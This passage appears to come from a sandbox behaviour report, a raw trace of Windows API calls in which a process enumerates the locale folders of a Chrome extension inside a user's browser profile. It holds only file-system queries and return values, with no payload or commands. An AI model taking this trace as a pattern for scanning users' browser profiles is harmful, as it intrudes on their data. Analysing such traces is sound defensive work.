Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee458620, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee45ad30, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee45ad30, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", lpFilePart=0x0) returned 0x7d [0069.934] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.934] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", lpFilePart=0x0) returned 0x7d [0069.934] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.934] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", lpFilePart=0x0) returned 0x7d [0069.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee45fb50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee462260, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee462260, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", lpFilePart=0x0) returned 0x7d [0069.935] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.935] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", lpFilePart=0x0) returned 0x7d [0069.935] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.935] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", lpFilePart=0x0) returned 0x7d [0069.935] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee4c15d0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee4c3ce0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee4c3ce0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", lpFilePart=0x0) returned 0x7d [0069.937] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.937] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", lpFilePart=0x0) returned 0x7d [0069.937] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.937] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", lpFilePart=0x0) returned 0x7d [0069.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee4c8b00, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee4cb210, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee4cb210, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.937] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", lpFilePart=0x0) returned 0x7d [0069.938] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.938] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", lpFilePart=0x0) returned 0x7d [0069.938] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.938] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", lpFilePart=0x0) returned 0x7d [0069.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee4ed4f0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee4fbf50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee4fbf50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", lpFilePart=0x0) returned 0x7d [0069.939] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.939] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", lpFilePart=0x0) returned 0x7d [0069.939] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.939] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", lpFilePart=0x0) returned 0x7d [0069.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee511ee0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee511ee0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee511ee0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", lpFilePart=0x0) returned 0x7d [0069.939] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.939] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", lpFilePart=0x0) returned 0x7d [0069.940] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.940] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", lpFilePart=0x0) returned 0x7d [0069.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee525760, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee527e70, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee527e70, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", lpFilePart=0x0) returned 0x7d [0069.940] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.940] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", lpFilePart=0x0) returned 0x7d [0069.941] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.941] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", lpFilePart=0x0) returned 0x7d [0069.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee52cc90, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee52f3a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee52f3a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", lpFilePart=0x0) returned 0x7d [0069.941] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.941] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", lpFilePart=0x0) returned 0x7d [0069.941] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.941] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", lpFilePart=0x0) returned 0x7d [0069.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee5341c0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee5368d0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee5368d0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th", lpFilePart=0x0) returned 0x7d [0069.942] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.942] FindClose (in: hFindFile=0x6fd8a40 | out: 